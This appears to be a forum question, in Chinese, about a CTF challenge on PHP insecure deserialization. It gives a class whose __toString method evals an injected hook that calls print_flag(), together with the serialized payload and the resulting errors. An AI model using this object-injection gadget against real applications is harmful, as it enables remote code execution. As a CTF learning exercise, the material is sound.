我正在做一个关于 PHP 中不安全的反序列化的 CTF 挑战。目标是通过将代码注入反序列化来打印标志以执行print_flag()
函数。我怀疑网络服务器只打印脚本回显的最后一行,这会覆盖标志的输出,即使在调用exit()
.
提供了在网络服务器上运行的部分 php 代码。我已经在我自己的 php 脚本中实现了它,以找出哪些有效,哪些无效。我已经成功地序列化了一个在反序列化时执行代码的对象。通过调用exit(print_flag());
标志打印,没有任何进一步的错误......至少在我的脚本中。当我将序列化对象发送到网络服务器时,它仍然会打印更多错误。
此外,我尝试从注入的代码中返回一个字符串。那也行不通。
function print_flag() {
print file_get_contents('/var/flag/flag.txt');
}
class Example2
{
private $hook;
function __construct() {
$this->hook = "exit(print_flag());";
}
function __toString()
{
if (isset($this->hook)) eval($this->hook);
}
}
$flag = new Example2();
$serialized = serialize($flag);
print "$serialized\r\n";
$deserialized = unserialize($serialized);
该代码类似于挑战中显示的代码,但经过修改使其适用于我。
我希望代码只返回标志。在我自己的机器上执行脚本时,输出为:
O:8:"Example2":1:{s:14:"Example2 hook";s:19:"exit(print_flag());";} thisistheflag
当我没有调用它时exit()
:
PHP Recoverable fatal error: Method Example2::__toString() must return a string value in ../phpObjInj.php on line 39"
网络服务器返回:
可捕获的致命错误:方法 Example2::__toString() 必须在第 79 行的 /var/www/index.php 中返回字符串值
如何停止打印错误?